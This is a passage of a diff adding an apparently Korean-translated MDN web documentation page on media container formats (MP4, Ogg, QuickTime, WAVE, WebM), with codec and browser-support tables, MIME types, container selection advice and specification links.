+ <tr>
+ <th rowspan="2" scope="row" style="vertical-align: bottom;">Codec</th>
+ <th colspan="4" scope="col" style="text-align: center;">Browser support</th>
+ </tr>
+ <tr>
+ <th scope="col">Chrome</th>
+ <th scope="col">Edge</th>
+ <th scope="col">Firefox</th>
+ <th scope="col">Safari</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <th scope="row">AVC (H.264)</th>
+ <td></td>
+ <td></td>
+ <td>Yes<sup><a href="#mp4-vid-footnote-1">1</a></sup></td>
+ <td></td>
+ </tr>
+ <tr>
+ <th scope="row">AV1</th>
+ <td></td>
+ <td></td>
+ <td>Yes<sup><a href="#mp4-vid-footnote-1">1</a></sup></td>
+ <td></td>
+ </tr>
+ <tr>
+ <th scope="row">H.263</th>
+ <td></td>
+ <td></td>
+ <td>No</td>
+ <td></td>
+ </tr>
+ <tr>
+ <th scope="row">MPEG-4 Part 2 Visual</th>
+ <td></td>
+ <td></td>
+ <td>No</td>
+ <td></td>
+ </tr>
+ <tr>
+ <th scope="row">VP9</th>
+ <td></td>
+ <td></td>
+ <td>Yes</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<p><a id="mp4-vid-footnote-1" name="mp4-vid-footnote-1">[1]</a> Firefox support for H.264 relies upon the operating system's media infrastructure, so it is available as long as the OS supports it.</p>
+
+<p><a id="mp4-vid-footnote-2" name="mp4-vid-footnote-2">[2]</a> Firefox support for AV1 is currently disabled by default; it can be enabled by setting the preference <code>media.av1.enabled</code> to <code>true</code>.</p>
+
+<table class="standard-table">
+ <caption>MPEG-4가 지원하는 오디오 코덱</caption>
+ <thead>
+ <tr>
+ <th rowspan="2" scope="row" style="vertical-align: bottom;">Codec</th>
+ <th colspan="4" scope="col" style="text-align: center;">Browser support</th>
+ </tr>
+ <tr>
+ <th scope="col">Chrome</th>
+ <th scope="col">Edge</th>
+ <th scope="col">Firefox</th>
+ <th scope="col">Safari</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <th scope="row">AAC</th>
+ <td></td>
+ <td></td>
+ <td>Yes<sup><a href="#mp4-aud-footnote-1">1</a></sup></td>
+ <td></td>
+ </tr>
+ <tr>
+ <th scope="row">FLAC</th>
+ <td></td>
+ <td></td>
+ <td>Yes</td>
+ <td></td>
+ </tr>
+ <tr>
+ <th scope="row">MPEG-1 Audio Layer III (MP3)</th>
+ <td></td>
+ <td></td>
+ <td>Yes</td>
+ <td></td>
+ </tr>
+ <tr>
+ <th scope="row">Opus</th>
+ <td></td>
+ <td></td>
+ <td>Yes</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<p><a id="mp4-aud-footnote-1" name="mp4-aud-footnote-1">[1]</a> Firefox support for H.264 relies upon the operating system's media infrastructure, so it is available as long as the OS supports it.</p>
+
+<h3 id="Ogg">Ogg</h3>
+
+<p><strong>{{interwiki("wikipedia", "Ogg")}}는 </strong><a href="https://www.xiph.org/">Xiph.org Foundation</a>이 운영하는 자유 오픈 컨테이너 포맷입니다. Theora, Vorbis, and Opus등의 Ogg 프레임워크는 특허에 얽매이지 않게 정의되었습니다. 재단 웹사이트에서 <a href="https://xiph.org/ogg/">Xiph.org documents about the Ogg format</a>를 확인할 수 있습니다.</p>
+
+<table class="standard-table">
+ <caption>기본 Ogg media MIME types</caption>
+ <thead>
+ <tr>
+ <th scope="col">Audio</th>
+ <th scope="col">Video</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td><code>audio/ogg</code></td>
+ <td><code>video/ogg</code></td>
+ </tr>
+ </tbody>
+</table>
+
+<p>MIME 타입에 <a href="/en-US/docs/Web/Media/Formats/codecs_parameter#Ogg"><code>codecs</code> 파라미터를 추가하여</a> 사용하는 오디오/비디오 코덱을 명시할 수 있으며 트랙의 미디어 포맷에 대한 추가 정보도 기입할 수 있습니다.</p>
+
+<table class="standard-table">
+ <caption>Ogg가 지원하는 비디오 코덱</caption>
+ <thead>
+ <tr>
+ <th rowspan="2" scope="row" style="vertical-align: bottom;">Codec</th>
+ <th colspan="4" scope="col" style="text-align: center;">Browser support</th>
+ </tr>
+ <tr>
+ <th scope="col">Chrome</th>
+ <th scope="col">Edge</th>
+ <th scope="col">Firefox</th>
+ <th scope="col">Safari</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <th scope="row">Theora</th>
+ <td></td>
+ <td></td>
+ <td>Yes</td>
+ <td></td>
+ </tr>
+ <tr>
+ <th scope="row">VP8</th>
+ <td></td>
+ <td></td>
+ <td>Yes</td>
+ <td></td>
+ </tr>
+ <tr>
+ <th scope="row">VP9</th>
+ <td></td>
+ <td></td>
+ <td>Yes</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<table class="standard-table">
+ <caption>Ogg가 지원하는 오디오 코덱</caption>
+ <thead>
+ <tr>
+ <th rowspan="2" scope="row" style="vertical-align: bottom;">Codec</th>
+ <th colspan="4" scope="col" style="text-align: center;">Browser support</th>
+ </tr>
+ <tr>
+ <th scope="col">Chrome</th>
+ <th scope="col">Edge</th>
+ <th scope="col">Firefox</th>
+ <th scope="col">Safari</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <th scope="row">FLAC</th>
+ <td></td>
+ <td></td>
+ <td>Yes</td>
+ <td></td>
+ </tr>
+ <tr>
+ <th scope="row">Opus</th>
+ <td></td>
+ <td></td>
+ <td>Yes</td>
+ <td></td>
+ </tr>
+ <tr>
+ <th scope="row">Vorbis</th>
+ <td></td>
+ <td></td>
+ <td>Yes</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h3 id="QuickTime">QuickTime</h3>
+
+<p><strong>QuickTime</strong> 파일 포맷(<strong>QTFF</strong>, <strong>QT</strong>, <strong>MOV</strong>) 는 동일한 이름의 미디어 프레임워크에서 사용하기 위해 애플이 개발했습니다. 확장자 <code>.mov</code>는 최초 영화에서 쓰이기 위해  개발되었다는 의미에서 지어졌으며 보통 "QuickTime movie" 포맷이라 불립니다. QTFF가 MPEG-4 파일 포맷에 기반하였지만 두 포맷에는 분명한 차이점이 있으며 상호 호환되지 않습니다.</p>
+
+<p>QuickTime 파일은 오디오, 비디오 텍스트 트랙 등 시간축을 가지는 다수의 데이터 타입을 지원합니다. QuickTime 파일은 원래 macOS에서 사용하기 위해 개발되었지만 수 년이 지나면서 윈도우즈 환경에서는 QuickTime for Windows를 통해 사용할 수 있게 되었습니다. 그러나 2016년 초부터 애플은 더 이상 QuickTime for Windows를 유지 보수하지 않으며 알려진 보안 취약점으로 인해 <em>사용해선 안됩니다</em>. 하지만 Windows Media Player 가 현재 QuickTime version 2.0 및 이전 버전을 지원하며; 이후 버전의 QuickTime은 서드파티 플러그인을 통해 지원합니다.</p>
+
+<p>Mac OS에서 QuickTime 프레임워크는 QuickTime 포맷의 영상 파일 및 코덱 뿐만아니라 널리 쓰이는 오디오/비디오 코덱 상당 수를 지원합니다. 정지 화상 이미지 포맷도 포함해서요. (QuickTime 플러그인이 설치되었거나 QuickTime과 바로 연동된 브라우저를 포함 한)맥 애플리케이션은 QuickTime을 통해서 ACC, AIFF, MP#, PCM, Qualcomm PureVoice 등의 오디오 포맷과 AVI, DV, Pixlet, ProRes, FLAC, Cinepak, 3GP, H.261 through H.265, MJPEG, MPEG-1, MPEG-4 Part 2, Sorenson 등 수 많은 비디오 포맷을 읽고 쓸 수 있습니다.</p>
+
+<p>추가적인 코덱을 지원하기 위해 QuickTime에 다수의 서드파티 컴포넌트를 설치할 수도 있습니다.</p>
+
+<p>QuickTime은 처음부터 지금까지 근본적으로 애플 디바이스에서 사용하기 위해 만들어졌기 때문에 인터넷 환경에서 널리 쓰이고 있지는 않습니다. 애플 스스로도 현재는 MP4 비디오를 사용하고 있구요. 게다가 QuickTime 프레임워크마저 deprecated되면서 macOS 10.15 Catalina부터는 사용이 불가능해졌습니다.</p>
+
+<table class="standard-table">
+ <caption>Base QuickTime media MIME type</caption>
+ <thead>
+ <tr>
+ <th scope="col">Video</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td><code>video/quicktime</code></td>
+ </tr>
+ </tbody>
+</table>
+
+<p><code>video/quicktime</code> 은 QuickTime 미디어 컨테이너의 기본 MIME 타입입니다. QuickTime (Mac OS의 미디어 프레임워크)이 다양한 컨테이너와 코덱을 지원하므로 다른 많은 MIME 타입 역시 지원합니다.</p>
+
+<p>MIME 타입에 <a href="/en-US/docs/Web/Media/Formats/codecs_parameter#ISO-BMFF"><code>codecs</code> 파라미터를 추가하여</a> 사용하는 오디오/비디오 코덱을 명시할 수 있으며 추가적으로 profile, level, 코덱 설정 등을 명기할 수 있습니다.</p>
+
+<table class="standard-table">
+ <caption>QuickTime이 지원하는 비디오 코덱</caption>
+ <thead>
+ <tr>
+ <th rowspan="2" scope="row" style="vertical-align: bottom;">Codec</th>
+ <th colspan="4" scope="col" style="text-align: center;">Browser support</th>
+ </tr>
+ <tr>
+ <th scope="col">Chrome</th>
+ <th scope="col">Edge</th>
+ <th scope="col">Firefox</th>
+ <th scope="col">Safari</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <th scope="row">AVC (H.264)</th>
+ <td></td>
+ <td></td>
+ <td>No</td>
+ <td></td>
+ </tr>
+ <tr>
+ <th scope="row">Cinepak</th>
+ <td></td>
+ <td></td>
+ <td>No</td>
+ <td></td>
+ </tr>
+ <tr>
+ <th scope="row">Component Video</th>
+ <td></td>
+ <td></td>
+ <td>No</td>
+ <td></td>
+ </tr>
+ <tr>
+ <th scope="row">DV</th>
+ <td></td>
+ <td></td>
+ <td>No</td>
+ <td></td>
+ </tr>
+ <tr>
+ <th scope="row">H.261</th>
+ <td></td>
+ <td></td>
+ <td>No</td>
+ <td></td>
+ </tr>
+ <tr>
+ <th scope="row">H.263</th>
+ <td></td>
+ <td></td>
+ <td>No</td>
+ <td></td>
+ </tr>
+ <tr>
+ <th scope="row">MPEG-2</th>
+ <td></td>
+ <td></td>
+ <td>No</td>
+ <td></td>
+ </tr>
+ <tr>
+ <th scope="row">MPEG-4 Part 2 Visual</th>
+ <td></td>
+ <td></td>
+ <td>No</td>
+ <td></td>
+ </tr>
+ <tr>
+ <th scope="row">Motion JPEG</th>
+ <td></td>
+ <td></td>
+ <td>No</td>
+ <td></td>
+ </tr>
+ <tr>
+ <th scope="row">Sorenson Video 2</th>
+ <td></td>
+ <td></td>
+ <td>No</td>
+ <td></td>
+ </tr>
+ <tr>
+ <th scope="row">Sorenson Video 3</th>
+ <td></td>
+ <td></td>
+ <td>No</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<table class="standard-table">
+ <caption>QuickTime이 지원하는 오디오 코덱</caption>
+ <thead>
+ <tr>
+ <th rowspan="2" scope="row" style="vertical-align: bottom;">Codec</th>
+ <th colspan="4" scope="col" style="text-align: center;">Browser support</th>
+ </tr>
+ <tr>
+ <th scope="col">Chrome</th>
+ <th scope="col">Edge</th>
+ <th scope="col">Firefox</th>
+ <th scope="col">Safari</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <th scope="row">AAC</th>
+ <td></td>
+ <td></td>
+ <td>No</td>
+ <td></td>
+ </tr>
+ <tr>
+ <th scope="row">ALaw 2:1</th>
+ <td></td>
+ <td></td>
+ <td>No</td>
+ <td></td>
+ </tr>
+ <tr>
+ <th scope="row">Apple Lossless (ALAC)</th>
+ <td></td>
+ <td></td>
+ <td>No</td>
+ <td></td>
+ </tr>
+ <tr>
+ <th scope="row">HE-AAC</th>
+ <td></td>
+ <td></td>
+ <td>No</td>
+ <td></td>
+ </tr>
+ <tr>
+ <th scope="row">MPEG-1 Audio Layer III (MP3)</th>
+ <td></td>
+ <td></td>
+ <td>No</td>
+ <td></td>
+ </tr>
+ <tr>
+ <th scope="row">Microsoft ADPCM</th>
+ <td></td>
+ <td></td>
+ <td>No</td>
+ <td></td>
+ </tr>
+ <tr>
+ <th scope="row">µ-Law 2:1 (u-Law)</th>
+ <td></td>
+ <td></td>
+ <td>No</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h3 id="WAVE_WAV"><a id="WAVE" name="WAVE">WAVE</a> (WAV)</h3>
+
+<p>Waveform Audio File Format (WAVE)는 보통 줄여서 WAV라 불리며 <code>.wav</code> 확장자를 갖습니다. 오디오 비트스트림 데이터를 담기 위해 Microsoft와 IBM이 개발했습니다. 대부분의 WAV 파일은 linear PCM 포맷의 오디오 데이터를 담고 있습니다.</p>
+
+<p>이 파일 포맷은 Resource Interchange File Format (RIFF)에서 파생되었으며 애플의 AIFF 같은 다른 파생 형식와 유사합니다..</p>
+
+<p>WAVE 포맷은 1991년 처음 발표되었습니다.</p>
+
+<table class="standard-table">
+ <caption>WAVE media MIME types</caption>
+ <thead>
+ <tr>
+ <th scope="col">Audio</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td><code>audio/wave</code></td>
+ </tr>
+ <tr>
+ <td><code>audio/wav</code></td>
+ </tr>
+ <tr>
+ <td><code>audio/x-wav</code></td>
+ </tr>
+ <tr>
+ <td><code>audio/x-pn-wav</code></td>
+ </tr>
+ </tbody>
+</table>
+
+<table class="standard-table">
+ <caption>WAVE가 지원하는 오디오 코덱</caption>
+ <thead>
+ <tr>
+ <th rowspan="2" scope="row" style="vertical-align: bottom;">Codec</th>
+ <th colspan="4" scope="col" style="text-align: center;">Browser support</th>
+ </tr>
+ <tr>
+ <th scope="col">Chrome</th>
+ <th scope="col">Edge</th>
+ <th scope="col">Firefox</th>
+ <th scope="col">Safari</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <th scope="row">ADPCM (Adaptive Differential Pulse Code Modulation)</th>
+ <td></td>
+ <td></td>
+ <td>No</td>
+ <td></td>
+ </tr>
+ <tr>
+ <th scope="row">GSM 06.10</th>
+ <td></td>
+ <td></td>
+ <td>No</td>
+ <td></td>
+ </tr>
+ <tr>
+ <th scope="row">LPCM (Linear Pulse Code Modulation)</th>
+ <td></td>
+ <td></td>
+ <td>Yes</td>
+ <td></td>
+ </tr>
+ <tr>
+ <th scope="row">MPEG-1 Audio Layer III (MP3)</th>
+ <td></td>
+ <td></td>
+ <td>No</td>
+ <td></td>
+ </tr>
+ <tr>
+ <th scope="row">µ-Law (u-Law)</th>
+ <td></td>
+ <td></td>
+ <td>No</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h3 id="WebM">WebM</h3>
+
+<p><strong>{{interwiki("wikipedia", "WebM")}}</strong> (Web Media)는 {{interwiki("wikipedia", "Matroska")}}에 기반하여 현대 웹 환경에서 사용하기 위해 디자인되었습니다. 특정 제품들은 WebM 컨테이너에 다른 코덱을 사용하기도 하지만 기본적으로는 무료 오픈 코덱을 사용하여 완전한 자유-오픈 기술을 지향하고 있습니다.</p>
+
+<p>WebM은 2010년 처음 소개되었습니다..</p>
+
+<table class="standard-table">
+ <caption>WebM media MIME types</caption>
+ <thead>
+ <tr>
+ <th scope="col">Audio</th>
+ <th scope="col">Video</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td><code>audio/webm</code></td>
+ <td><code>video/webm</code></td>
+ </tr>
+ </tbody>
+</table>
+
+<table class="standard-table">
+ <caption>WebM이 지원하는 비디오 코덱</caption>
+ <thead>
+ <tr>
+ <th rowspan="2" scope="row" style="vertical-align: bottom;">Codec</th>
+ <th colspan="4" scope="col" style="text-align: center;">Browser support</th>
+ </tr>
+ <tr>
+ <th scope="col">Chrome</th>
+ <th scope="col">Edge</th>
+ <th scope="col">Firefox</th>
+ <th scope="col">Safari</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <th scope="row">AV1</th>
+ <td></td>
+ <td></td>
+ <td>Yes<sup><a href="#av1-vid-footnote-1">1</a></sup></td>
+ <td></td>
+ </tr>
+ <tr>
+ <th scope="row">AVC (H.264)</th>
+ <td></td>
+ <td></td>
+ <td>Yes<sup><a href="#av1-vid-footnote-2">2</a></sup></td>
+ <td></td>
+ </tr>
+ <tr>
+ <th scope="row">VP8</th>
+ <td></td>
+ <td></td>
+ <td>Yes</td>
+ <td></td>
+ </tr>
+ <tr>
+ <th scope="row">VP:9</th>
+ <td></td>
+ <td></td>
+ <td>Yes</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<p><a id="av1-vid-footnote-1" name="av1-vid-footnote-1">[1]</a> Firefox support for AV1 is currently disabled by default; it can be enabled by setting the preference <code>media.av1.enabled</code> to <code>true</code>.</p>
+
+<p><a id="av1-vid-footnote-2" name="av1-vid-footnote-2">[2]</a> Firefox support for H.264 relies upon the operating system's media infrastructure, so it is available as long as the OS supports it.</p>
+
+<table class="standard-table">
+ <caption>WebM이 지원하는 오디오 코덱</caption>
+ <thead>
+ <tr>
+ <th rowspan="2" scope="row" style="vertical-align: bottom;">Codec</th>
+ <th colspan="4" scope="col" style="text-align: center;">Browser support</th>
+ </tr>
+ <tr>
+ <th scope="col">Chrome</th>
+ <th scope="col">Edge</th>
+ <th scope="col">Firefox</th>
+ <th scope="col">Safari</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <th scope="row">Opus</th>
+ <td></td>
+ <td></td>
+ <td>Yes</td>
+ <td></td>
+ </tr>
+ <tr>
+ <th scope="row">Vorbis</th>
+ <td></td>
+ <td></td>
+ <td>Yes</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="알맞은_컨테이너_선택하기">알맞은 컨테이너 선택하기</h2>
+
+<p>여러분의 미디어 데이터에 알맞은 컨테이너를 선택하고 사용하기 위해서 몇 가지 고려해야 할 점들이 있습니다. 상대적으로 어떤 점이 더 중요한지는 요구사항이나 라이선스, 호환성, 타겟 고객 등에 따라 달라질 수 있습니다.</p>
+
+<h3 id="가이드라인">가이드라인</h3>
+
+<p>최선책 역시 미디어 데이터로 무엇을 하느냐에 달렸습니다. 미디어를 녹화/편집하는 것은 재생과 전혀 다른 이야기입니다. 최소한 노이즈 축적이라도 방지하려고 무손실 압축을 사용하면 매번 재 압축할 때 마다 압축 데이터가 누적되므로 미디어 데이터를 처리할때는 압축하지 않은 데이터를 사용하는게 퍼포먼스가 좋습니다.</p>
+
+<ul>
+ <li>저사양 단말 또는 저속 네트워크를 사용하는 고객을 대상으로 하고 있다면 3GP 컨테이너와 적절한 압축 코덱을 고려해 볼 수 있습니다.</li>
+ <li>인코딩시 필수 사항이 있다면 컨테이너 선택 시 적절한 코덱을 지원하는 지 확인해야 합니다.</li>
+ <li>미디어가 상용이 아니며 오픈 포맷일 경우 FLAC(오디오), WebM(비디오) 등의 오픈 컨테이너 포맷을 고려해 보세요.</li>
+ <li>어떠한 이유로 미디어를 한가지 포맷으로 제공해야 한다면 많은 디바이스와 브라우저에 널리 쓰여지는 MP3(오디오), MP4(비디오, 오디오)등의 포맷을 선택하세요.</li>
+ <li>미디어가 오디오만 있다면 오디오 전용 컨테이너를 사용하는게 합당합니다. 현재는 특허가 모두 만료되어 널리 쓰여지는 MP3가 좋은 선택입니다. WAVE도 좋지만 비압축이므로 대용량 오디오 샘플의 경우에는 사용을 주의하세요. 모든 타겟 브라우저가 지원한다면 무손실 압축을 지원하는 FLAC이 최선입니다.</li>
+</ul>
+
+<p>슬픈 일이지만 주요 무손실 압축 포맷 (FLAC, ALAC) 모두 폭넓게 지원되고 있지 않습니다. 둘 중에 FLAC이 그나마 낫지만 macOS에서는 추가적인 소프트웨어 설치 없이는 지원을 안합니다. iOS에서는 아예 불가능하구요. 무손실 오디오를 플랫폼에 무관하게 제공하려면 FLAC과 ALAC 둘 다 지원해야 합니다.</p>
+
+<h3 id="컨테이너_선택_가이드">컨테이너 선택 가이드</h3>
+
+<p>아래의 테이블은 다양한 시나리오에서 사용할 컨테이너에 대한 권고안입니다. 이는 추천일 뿐이며 컨테이너 포맷을 선택할 때에는 여러분의 제품이나 기관의 상황을 고려하여 선택하세요.</p>
+
+<h4 id="오디오_전용_파일">오디오 전용 파일</h4>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">만약에...</th>
+ <th scope="col">추천 컨테이너 포맷</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>일반 재생 목적으로 압축 파일 사용</td>
+ <td>MP3 (MPEG-1 Audio Layer III)</td>
+ </tr>
+ <tr>
+ <td>무손실 압축 파일</td>
+ <td>FLAC with ALAC fallback</td>
+ </tr>
+ <tr>
+ <td>무압축 파일</td>
+ <td>WAV</td>
+ </tr>
+ </tbody>
+</table>
+
+<p>이제는 MP3 특허가 모두 만료되었으므로 오디오 파일 선택은 별로 어려운 문제가 아닙니다. 폭넓게 쓰이는 MP3를 사용하면서 특허료를 내야 하느냐에 대한 고민을 할 필요가 없죠.</p>
+
+<h4 id="비디오_파일">비디오 파일</h4>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">만약에...</th>
+ <th scope="col">추천 컨테이너 포맷</th>
+ </tr>
+ <tr>
+ <td>가능한 오픈 포맷을 사용한 일반 비디오</td>
+ <td>WebM (MP4 호환 추가)</td>
+ </tr>
+ <tr>
+ <td>일반 비디오</td>
+ <td>MP4 (WebM, Ogg 호환 추가)</td>
+ </tr>
+ <tr>
+ <td>저속 네트워크상의 고효율 압축</td>
+ <td>3GP (MP4 호환 추가)</td>
+ </tr>
+ <tr>
+ <td>구형 단말/브라우저 지원</td>
+ <td>QuickTime (AVI, MPEG-2 호환 추가)</td>
+ </tr>
+ </thead>
+</table>
+
+<p>몇 가지 가정 하의 권고입니다. 최종 결정 전에 여러가지를 따져보아야 하며 인코딩 해야 할 미디어가 많은 경우 특히나 심사숙고해야 합니다.</p>
+
+<h2 id="다양한_컨테이너간_호환성_극대화">다양한 컨테이너간 호환성 극대화</h2>
+
+<p>호환성을 높이려면 한가지 버전 이상의 미디어 파일 제공을 고려해 볼 수 있습니다. {{HTMLElement("audio")}}, {{HTMLElement("video")}} 엘리먼트 아래에 {{HTMLElement("source")}} 엘리먼트를 추가하여 구현할 수 있죠. 예를 들어 Ogg, WebM 비디오를 우선하되 호환성을 위해 MP4 포맷을 추가할 수 있습니다. 레트로하게 QuickTime이나 AVI 호환을 추가하는 것도 좋은 방법입니다.</p>
+
+<p>구현하려면 우선 {{htmlattrxref("src", "video")}} 어트리뷰트 없이 <code>&lt;video&gt;</code> (또는 <code>&lt;audio&gt;</code>) 엘리먼트를 생성합니다. 그 후 <code>&lt;video&gt;</code> 엘리먼트 아래에 {{HTMLElement("source")}} 엘리먼트를 제공하려는 미디어 포맷별로 추가합니다. 이 방식은 대역폭 상황에 따라 소스를 선택하는 방식으로도 사용할 수 있지만 여기서는 포맷 옵션을 제공하기로 하죠.</p>
+
+<p>아래 예제에서는 두 포맷 타입의 비디오를 제공합니다: WebM and MP4.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/source.html", "tabbed-standard")}}</div>
+
+<p class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples </a> and send us a pull request.</p>
+
+<p>첫번째 비디오는 WebM 포맷입니다({{htmlattrxref("type", "video")}} 어트리뷰트가 <code>video/webm</code>). {{Glossary("user agent")}}는 재생이 불가능 한 경우 <code>type</code> 이 <code>video/mp4</code> 인 다음 옵션으로넘어갑니다. 둘 다 재생이 불가능 할 경우 "This browser does not support the HTML5 video element." 문구가 표시됩니다.</p>
+
+<h2 id="스펙">스펙</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td><a href="https://portal.3gpp.org/desktopmodules/Specifications/SpecificationDetails.aspx?specificationId=1441">ETSI 3GPP</a></td>
+ <td>3GP 컨테이너 포맷 정의</td>
+ </tr>
+ <tr>
+ <td><a href="https://www.iso.org/standard/53943.html">ISO/IEC 14496-3</a> (MPEG-4 Part 3 Audio)</td>
+ <td>ADTS 포함 한 MP4 오디오 정의</td>
+ </tr>
+ <tr>
+ <td><a href="https://xiph.org/flac/format.html">FLAC Format</a></td>
+ <td>FLAC 포맷 규정</td>
+ </tr>
+ <tr>
+ <td><a href="https://www.iso.org/standard/19180.html">ISO/IEC 11172-1</a> (MPEG-1 Part 1 Systems)</td>
+ <td>MPEG-1 컨테이너 포맷 정의</td>
+ </tr>
+ <tr>
+ <td><a href="https://www.iso.org/standard/74427.html">ISO/IEC 13818-1</a> (MPEG-2 Part 1 Systems)</td>
+ <td>MPEG-2 컨테이너 포맷 정의</td>
+ </tr>
+ <tr>
+ <td><a href="https://www.iso.org/standard/75929.html">ISO/IEC 14496-14</a> (MPEG-4 Part 14: MP4 file format)</td>
+ <td>MPEG-4 (MP4) version 2 컨테이너 포맷 정의</td>
+ </tr>
+ <tr>
+ <td><a href="https://www.iso.org/standard/55688.html">ISO/IEC 14496-1</a> (MPEG-4 Part 1 Systems)</td>
+ <td>오리지널 MPEG-4 (MP4) 컨테이너 포맷 정의</td>
+ </tr>
+ <tr>
+ <td>{{RFC(3533)}}</td>
+ <td>Ogg 컨테이너 포맷 정의</td>
+ </tr>
+ <tr>
+ <td>{{RFC(5334)}}</td>
+ <td>Ogg 미디어 타입 및 확장자 정의</td>
+ </tr>
+ <tr>
+ <td><a href="https://developer.apple.com/library/archive/documentation/QuickTime/QTFF/QTFFPreface/qtffPreface.html">QuickTime File Format Specification</a></td>
+ <td>QuickTime movie (MOV) 포맷 정의</td>
+ </tr>
+ <tr>
+ <td><a href="https://web.archive.org/web/20090417165828/http://www.kk.iij4u.or.jp/~kondo/wave/mpidata.txt">Multimedia Programming Interface and Data Specifications 1.0</a></td>
+ <td>공식 WAVE 스펙에 가까운 문서</td>
+ </tr>
+ <tr>
+ <td><a href="https://docs.microsoft.com/en-us/windows/desktop/xaudio2/resource-interchange-file-format--riff-">Resource Interchange File Format</a> (used by WAV)</td>
+ <td>RIFF 포맷 정의; WAVE는 RIFF의 한 형태</td>
+ </tr>
+ <tr>
+ <td><a href="https://www.webmproject.org/docs/container/">WebM Container Guidelines</a></td>
+ <td>WebM 용 Matroska 적용 가이드</td>
+ </tr>
+ <tr>
+ <td><a href="https://matroska.org/technical/specs/index.html">Matroska Specifications</a></td>
+ <td>WebM 기반 Matroska 컨테이너 포맷 스펙</td>
+ </tr>
+ <tr>
+ <td><a href="https://w3c.github.io/media-source/webm-byte-stream-format.html">WebM Byte Stream Format</a></td>
+ <td><a href="/en-US/docs/Web/API/Media_Source_Extensions_API">Media Source Extensions</a>를 통한 WebM 바이트 스트림 포맷</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th rowspan="2" scope="row" style="vertical-align: bottom;">컨테이너 포맷 이름</th>
+ <th colspan="3" rowspan="1" scope="col" style="text-align: center; border-right: 2px solid #d4dde4;">오디오</th>
+ <th colspan="3" rowspan="1" scope="col" style="text-align: center;">비디오</th>
+ </tr>
+ <tr>
+ <th scope="col" style="vertical-align: bottom;">MIME type</th>
+ <th scope="col" style="vertical-align: bottom;">Extension(s)</th>
+ <th scope="col" style="vertical-align: bottom; border-right: 2px solid #d4dde4;">Browser support</th>
+ <th scope="col" style="vertical-align: bottom;">MIME type</th>
+ <th scope="col" style="vertical-align: bottom;">Extension(s)</th>
+ <th scope="col" style="vertical-align: bottom; border-right: 2px solid #d4dde4;">Browser support</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <th scope="row" style="vertical-align: bottom;">3GP</th>
+ <td style="vertical-align: top;"><code>audio/3gpp</code></td>
+ <td style="vertical-align: top;"><code>.3gp</code></td>
+ <td style="vertical-align: top; border-right: 2px solid #d4dde4;">Firefox</td>
+ <td style="vertical-align: top;"><code>video/3gpp</code></td>
+ <td style="vertical-align: top;"><code>.3gp</code></td>
+ <td style="vertical-align: top;">Firefox</td>
+ </tr>
+ <tr>
+ <th scope="row" style="vertical-align: top;">ADTS (Audio Data Transport Stream)</th>
+ <td style="vertical-align: top;"><code>audio/aac</code></td>
+ <td style="vertical-align: top;"><code>.aac</code></td>
+ <td style="vertical-align: top; border-right: 2px solid #d4dde4;">Firefox</td>
+ <td style="vertical-align: top;">—</td>
+ <td style="vertical-align: top;">—</td>
+ <td style="vertical-align: top;">—</td>
+ </tr>
+ <tr>
+ <th scope="row" style="vertical-align: top;">FLAC</th>
+ <td style="vertical-align: top;"><code>audio/flac</code></td>
+ <td style="vertical-align: top;"><code>.flac</code></td>
+ <td style="vertical-align: top; border-right: 2px solid #d4dde4;">Firefox</td>
+ <td style="vertical-align: top;">—</td>
+ <td style="vertical-align: top;">—</td>
+ <td style="vertical-align: top;">—</td>
+ </tr>
+ <tr>
+ <th rowspan="2" scope="row" style="vertical-align: top;">MPEG-1 / MPEG-2 (MPG or MPEG)</th>
+ <td style="vertical-align: top;"><code>audio/mpeg</code></td>
+ <td style="vertical-align: top;"><code>.mpg</code><br>
+ <code>.mpeg</code></td>
+ <td style="vertical-align: top; border-right: 2px solid #d4dde4;">Firefox</td>
+ <td rowspan="2" style="vertical-align: top;"><code>video/mpeg</code></td>
+ <td rowspan="2" style="vertical-align: top;"><code>.mpg</code><br>
+ <code>.mpeg</code></td>
+ <td rowspan="2" style="vertical-align: top;">Firefox</td>
+ </tr>
+ <tr>
+ <td style="vertical-align: top;"><code>audio/mp3</code></td>
+ <td style="vertical-align: top;"><code>.mp3</code></td>
+ <td style="vertical-align: top; border-right: 2px solid #d4dde4;">Firefox</td>
+ </tr>
+ <tr>
+ <th scope="row" style="vertical-align: top;">MPEG-4 (MP4)</th>
